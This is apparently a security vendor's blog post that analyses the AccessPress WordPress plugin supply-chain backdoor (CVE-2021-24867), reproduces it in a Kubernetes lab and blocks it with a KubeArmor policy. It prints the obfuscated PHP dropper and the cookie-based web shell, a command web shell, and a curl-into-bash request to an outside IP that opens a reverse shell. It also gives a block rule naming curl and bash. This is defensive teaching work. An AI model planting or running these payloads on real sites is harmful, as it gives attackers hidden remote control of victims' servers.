Introduction
WordPress is the most popular and easiest way to create your website or blog. WordPress is likely to power more than one-fourth of the websites you visit.
WordPress is an open-source content management system released under the GPLv2 license, which means that anybody can use or change the WordPress software for free. As a result, WordPress is much more prone to attacks and vulnerabilities.
In this blog, we’ll be looking at one of the recent supply chain attacks that hit WordPress.
What is the actual vulnerability?
AccessPress, a popular WordPress plugin, and theme author was recently compromised, and their software was replaced with backdoored versions, according to security researchers at Automattic. In other words, rather than physically compromising systems by exploiting vulnerable software components, attackers gained access to the very source that websites and network administrators use. By doing so the attackers gained access to almost all the systems that use the said plugins and themes.
How did this happen?
To better understand the vulnerability and how it is working, let's go ahead and replicate it in a controlled environment.
We will create a new Kubernetes cluster with default values.
gcloud container clusters create wordpress-demo --zone us-central1-c
Once the cluster is ready we’ll deploy the WordPress application with a vulnerable plugin to simulate the attack.
For this, we have created a complete YAML for WordPress installation on Kubernetes. You can use this predefined deployment file to quickly deploy WordPress to your Kubernetes environment.
kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/wordpress-demo/k8s-wordpress.yaml
With this, the initial setup is completed. It's time to upload the vulnerable plugin and dissect the attack pattern.
The Supply Chain Attack Tree
To explain the vulnerability, let's take a look at the root cause of this issue, the supply chain attack.
After gaining access to the AccessPress website, the attackers installed PHP backdoors in many of the group's free software components. There were 40 themes and 53 plugins that were known to be impacted.

The backdoor was simple, yet it gave the attackers complete access to the victim's web pages. The first thing they did was create a new file called initial.php in the main plugin directory, which they then included in the main function code.
We’ll use a slightly modified version of the exploit code to show the workflow.
function vmagazine_lite_scripts(){
$filename = '/var/www/html/wp-content/plugins/inital.php';
$url = "http://152.67.166.153/initial.php";
// Initialize a CURL session.
$ch = curl_init();
// Return Page contents.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//grab URL and pass it to the variable.
curl_setopt($ch, CURLOPT_URL, $url);
//output the curl content to initial.php file
$result = curl_exec($ch);
file_put_contents($filename, $result);
//checks if the filename exist, if yes then calls the makeInit function
//on initial.php file and deletes the initial.php file after successful
//execution
if (file_exists($filename)) {
include($filename);
makeInit();
finishIntt();
}
}
Since this is etched into the source code of the plugin’s source code itself, it’ll execute the moment you download and activate the plugin.
This simple code created a new file in the plugin or theme folder respectively and started its execution by adding values to the vars.php
file.
The malicious extensions featured a web shell dropper, giving the attackers complete access to the affected sites. The dropper can be found in the inital.php file in the plugin or theme's main directory. It creates a cookie-based web shell in wp-includes/vars.php when it is activated. The shell is installed as a function named wp_is_mobile_fix()
immediately before the wp_is_mobile()
function to avoid arousing suspicion even if someone casually browses the vars.php
file.
<?php
function finishIntt() {
unlink(__FILE__);
}
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb24gd3BfaXNfbW9iaWxlX2ZpeCgpIHsKCSRpc193cF9tb2JpbGUgPSAoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddID09ICd3cF9pc19tb2JpbGUnKTsKCSRnID0gJF9DT09LSUU7CgoJKGNvdW50KCRnKSA9PSA4ICYmICRpc193cF9tb2JpbGUpID8KCSgoJHFyID0gJGdbMzNdLiRnWzMyXSkgJiYgKCRpdiA9ICRxcigkZ1s3OF0uJGdbMThdKSkgJiYKCSgkX2l2ID0gJHFyKCRnWzEyXS4kZ1sxN10pKSAmJiAoJF9pdiA9IEAkaXYoJGdbMTBdLCAkX2l2KCRxcigkZ1s1M10pKSkpICYmIAoJQCRfaXYoKSkgOiAkZzsKCQoJcmV0dXJuICRpc193cF9tb2JpbGU7Cn0KCndwX2lzX21vYmlsZV9maXgoKTsK';
$f = '/var/www/html/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, 0777);
}
return true;
}
return false;
}
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?th=' . $_SERVER["HTTP_HOST"] . '&thn=vmagazine-lite">';
}
}
The file also connects to a malicious URL to further receive queries and remove the dropper file once execution is completed to avoid traces.
Once the execution is completed you will notice that the vars.php
file now has an extra function wp_is_mobile_fix()
created by the dropper file.
Let's see this in action.
To replicate the issue, we will upload accesspress-anonymous-post-v2.8.0
.
You can download the vulnerable version from samples/WordPress-demo at main · accuknox/samples
Once uploaded and activated we will execute inside the WordPress pod to confirm the changes.
kubectl exec -it $(kubectl get pod -ltier=frontend -o name | cut -d / -f2) -- bash
Alright! Now we will check for initial.php
and vars.php
. (Since the exploit deletes the initial.php once execution is completed it is highly unlikely to see the initial.php
file. But the file will be downloaded to wordpress-root-folder/wp-content/plugins/
or wordpress-root-folder/wp-content/themes/
accordingly.). It also downloads a PHP payload acc.php
which can cause RCE.
cat cat wp-includes/vars.php
<?php
/**
* Creates common globals for the rest of WordPress
*
* Sets $pagenow global which is the current page. Checks
* for the browser to set which one is currently being used.
<--snip-->
function wp_is_mobile_fix() {
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
return $is_wp_mobile;
}
wp_is_mobile_fix();
function wp_is_mobile() {
<--snip-->
The exploit does its magic and installed a shell inside the vars.php
file. if the request's user agent string is wp_is_mobile
and contains eight specified cookies It assembles and runs a payload from the cookies provided.
cat acc.php
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
An attacker can craft make use of this and send in crafted commands to get information or even escalate it into an RCE.
To see it in action let us get the IP of our WordPress pod
kubectl get svc
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kubernetes ClusterIP 10.16.0.1 <none> 443/TCP 9h
wordpress LoadBalancer 10.16.0.23 34.66.11.191 80/TCP 9h
http://34.66.11.191/acc.php?cmd=curl+-s+http://152.67.166.153/script.sh+|+bash
The script.sh
file has a bash reverse shellcode embedded in it. So once we go to this URL we’ll get a reverse shell connection established.
nc -lnvp 8000
Listening on 0.0.0.0 8000
Connection received on 34.72.241.182 38840
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/www/html$ whoami
whoami
www-data
[email protected]:/var/www/html$ hostname
hostname
wordpress-5994d99f46-zjt86
[email protected]:/var/www/html$
You can download the script.sh
file samples/wordpress-demo at main · accuknox/samples
Providing Run-time protection and defending against the vulnerability with AccuKnox Open-source tools
Accuknox enables the ability to protect your workloads at run-time. Accuknox enables this by allowing you to configure policies (or auto-discover them) for application and network behavior using KubeArmor, Cilium, and Auto Policy Discovery tools
KubeArmor, is open-source software that enables you to protect your cloud workload at run-time.
The problem that KubeArmor solves is that it can prevent cloud workloads from executing malicious activity at runtime. Malicious activity can be any activity that the workload was not designed for or is not supposed to do.
Given a policy, KubeArmor can restrict the following types of behavior on your cloud workloads:
- File access - allow/deny specific paths
- Allow / deny Process execution / forking
- Allow / Deny Establish network connections
- Allow / Deny workloads to request other capabilities with the host os. Such capabilities can enable additional types of malicious behavior.
Cilium, is an open-source project to provide eBPF-based networking, security, and observability for cloud-native environments such as Kubernetes clusters and other container orchestration platforms.
We will be able to block this attack by enforcing a simple system policy via KubeArmor; the policy is as follows:
# KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit:
# https://www.accuknox.com/kubearmor/
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: ksp-cve-2021-24867-block-wordpress-supply-chain-attack
spec:
tags: ["CVE","K8s","CVE-2021-24867", "WordPress", "Supply chain"]
message: "Alert! *.php file created, possible exploitation of CVE-2021-24867"
selector:
matchLabels:
app: wordpress
file:
severity: 6
matchPatterns:
- pattern: /**/initial.php
action:
Block
process:
severity: 6
matchPatterns:
- pattern: /**/curl
- pattern: /**/bash
action:
Block
The Policy: In-action
kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-cve-2021-24867-block-wordpress-supply-chain-attack.yaml
After applying the policy let's go ahead and upload the plugin again to see what happens. The policy blocks the creation of initial.php
file and denies RCE via the acc.php
Checking the policy logs on KubeArmor
There are two ways we can check policy logs on KubeArmor.
Using kubearmor.log
The traditional way is all about finding the KubeArmor pod running on the same node as the application pod and executing inside it to find logs.
- Get the node name which your application pod is running
kubectl get pods -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
wordpress-5994d99f46-2h7ml 1/1 Running 0 46s 10.124.0.5 gke-wordpress-demo-default-pool-1cc20b06-7nfl <none> <none>
2. We will take the node name gke-wordpress-demo-default-pool-1cc20b06-7nfl
and check for the KubeArmor pod running on it.
kubectl get po -A -lkubearmor-app=kubearmor -o wide
NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
kube-system kubearmor-k9d47 1/1 Running 0 23s 10.128.15.205 gke-wordpress-demo-default-pool-1cc20b06-x7ws <none> <none>
kube-system kubearmor-xh4zb 1/1 Running 0 23s 10.128.15.204 gke-wordpress-demo-default-pool-1cc20b06-7nfl <none> <none>
kube-system kubearmor-zmrp7 1/1 Running 0 23s 10.128.15.206 gke-wordpress-demo-default-pool-1cc20b06-zwfb <none> <none>
3. We got to know that kubearmor-xh4zb
the pod is running on node gke-wordpress-demo-default-pool-1cc20b06-7nfl
.
4. Let us execute into the pod and watch the logs (you watch the entire logs or grep it with keywords like policy name)
kubectl -n kube-system exec -it kubearmor-xh4zb -- tail -f /tmp/kubearmor.log | grep -i ksp-cve-2021-24867-block-wordpress-supply-chain-attack | jq
5. Blocked Log Created by KubeArmor
{
"timestamp": 1643663313,
"updatedTime": "2022-01-31T21:08:33.133142Z",
"hostName": "gke-wordpress-demo-default-pool-1cc20b06-7nfl",
"namespaceName": "default",
"podName": "wordpress-5994d99f46-2h7ml",
"containerID": "4a424a53effbe6318c7dd03021cbad9f2287ec0931c5500a42ff9321a79a2485",
"containerName": "wordpress",
"hostPid": 26759,
"ppid": 1,
"pid": 191,
"uid": 33,
"policyName": "ksp-cve-2021-24867-block-wordpress-supply-chain-attack",
"severity": "6",
"tags": "CVE,K8s,CVE-2021-24867,WordPress,Supply chain",
"message": "Alert! *.php file created, possible exploitation of CVE-2021-24867",
"type": "MatchedPolicy",
"source": "apache2",
"operation": "File",
"resource": "/var/www/html/wp-content/plugins/initial.php",
"data": "syscall=SYS_OPEN flags=/var/www/html/wp-content/plugins/initial.php",
"action": "Block",
"result": "Permission denied"
}
{
"timestamp": 1643739826,
"updatedTime": "2022-02-01T18:23:46.601026Z",
"hostName": "gke-wordpress-demo-default-pool-d7b8622d-lr75",
"namespaceName": "default",
"podName": "wordpress-68f6d5cdd6-qjfqs",
"containerID": "c17fd508c3bd6b62f42dca5128aeb93b6fe53d6609737f52aa84a1dc14e90025",
"containerName": "wordpress",
"hostPid": 214475,
"ppid": 231,
"pid": 232,
"uid": 33,
"type": "ContainerLog",
"source": "sh",
"operation": "Process",
"resource": "/usr/bin/curl -s http://152.67.166.153/script.sh",
"data": "syscall=SYS_EXECVE",
"result": "Permission denied"
}
{
"timestamp": 1643739826,
"updatedTime": "2022-02-01T18:23:46.600401Z",
"hostName": "gke-wordpress-demo-default-pool-d7b8622d-lr75",
"namespaceName": "default",
"podName": "wordpress-68f6d5cdd6-qjfqs",
"containerID": "c17fd508c3bd6b62f42dca5128aeb93b6fe53d6609737f52aa84a1dc14e90025",
"containerName": "wordpress",
"hostPid": 214476,
"ppid": 231,
"pid": 233,
"uid": 33,
"type": "ContainerLog",
"source": "sh",
"operation": "Process",
"resource": "/bin/bash",
"data": "syscall=SYS_EXECVE",
"result": "Permission denied"
}
Using kArmor
kArmor is a CLI client to help manage KubeArmor. With kArmoryou can get the logs in 2 steps
- Download and Install kArmor CLI (if not present)
curl -sfL https://raw.githubusercontent.com/kubearmor/kubearmor-client/main/install.sh | sudo sh -s -- -b /usr/local/bin
2. Enable port-forwarding for KubeArmor relay
kubectl port-forward -n kube-system svc/kubearmor 32767:32767&
3. Observing logs using kArmor cli
karmor log
4. Blocked Log Created by kArmor
gRPC server: localhost:32767
Handling connection for 32767
Created a gRPC client (localhost:32767)
Checked the liveness of the gRPC server
Started to watch alerts
== Alert / 2022-01-20 20:34:51.013366 ==
Cluster Name: wordpress-demo
Host Name: gke-wordpress-demo-default-pool-1cc20b06-7nfl
Policy Name: ksp-cve-2021-24867-block-wordpress-supply-chain-attack
Severity: 6
Tags: CVE,K8s,CVE-2021-24867,WordPress,Supply chain
Message: Alert! *.php file created, possible exploitation of CVE-2021-24867
Type: MatchedPolicy
Source: apache2
Operation: File
Resource: /var/www/html/wp-content/plugins/initial.php
Data: syscall=SYS_OPEN flags=/var/www/html/wp-content/plugins/initial.php
Action: Block
Result: Permission denied
Auto Policy Discovery for your WordPress Application
Even though writing KubeArmor and CIlium (System and Network) policies are not a big challenge AccuKnox opensource has it simplified one step further by introducing a new CLI tool for Auto Discovered Policies. The Auto-Discovery module helps users by identifying the flow and generating policies based on it.
Discovering policies has never been better with Auto Discovery. In two simple commands, you can set up and generate policies without having any trouble.
To auto-discover policies, execute the following command
curl -s https://raw.githubusercontent.com/accuknox/tools/main/get_discovered_yamls.sh | bash
You should be able to see the following output.
Downloading discovered policies from pod=knoxautopolicy-684854b4f4-tpm4w
{
"res": "ok"
}
Got 10 cilium policies in file cilium_policies.yaml
{
"res": "ok"
}
Got 10 kubearmor policies in file kubearmor_policies_ext.yaml
In mere seconds after installing executing auto policy discovery tool, it generated 10 Cilium policies and 3 KubeArmor policies.
Auto Discovery was able to discover network-level policies that allow communication from WordPress frontend pod to MySQL pod only via port 3306 thereby eliminating the possibility of any attacks on MySQL pod from external or internal rogue pods.
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: autopol-ingress-mkokuevhudhegvx
namespace: default
spec:
endpointSelector:
matchLabels:
app: wordpress
tier: mysql
ingress:
- fromEndpoints:
- matchLabels:
app: wordpress
k8s:io.kubernetes.pod.namespace: default
tier: frontend
toPorts:
- ports:
- port: "3306"
protocol: TCP
These features by AccuKnox open-source make sure that all the necessary policies to secure your workload are generated and ready to be used in a single click.
Accuknox's policy templates repository
Accuknox's policy templates is an open-source repo that contains a wide range of attack prevention techniques, including MITRE and hardening techniques for your workloads. Please visit GitHub - kubearmor/policy-templates: Community curated list of System and Network policy templates for the KubeArmor and Cilium to download and apply policy templates.
Conclusion
Even though supply-chain attacks are more brutal to avoid and protect from, with AccuKnox opensource tools, you can prevent your workloads from possible threats and vulnerabilities.
Using AccuKnox open-source tools, an organization can effectively protect against all sorts of accidental developer-introduced vulnerabilities and/or known/unknown vulnerabilities.
Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.
Let us know if you are seeking additional guidance in planning your cloud security program.
Read more blogs from Cloud Security Category here.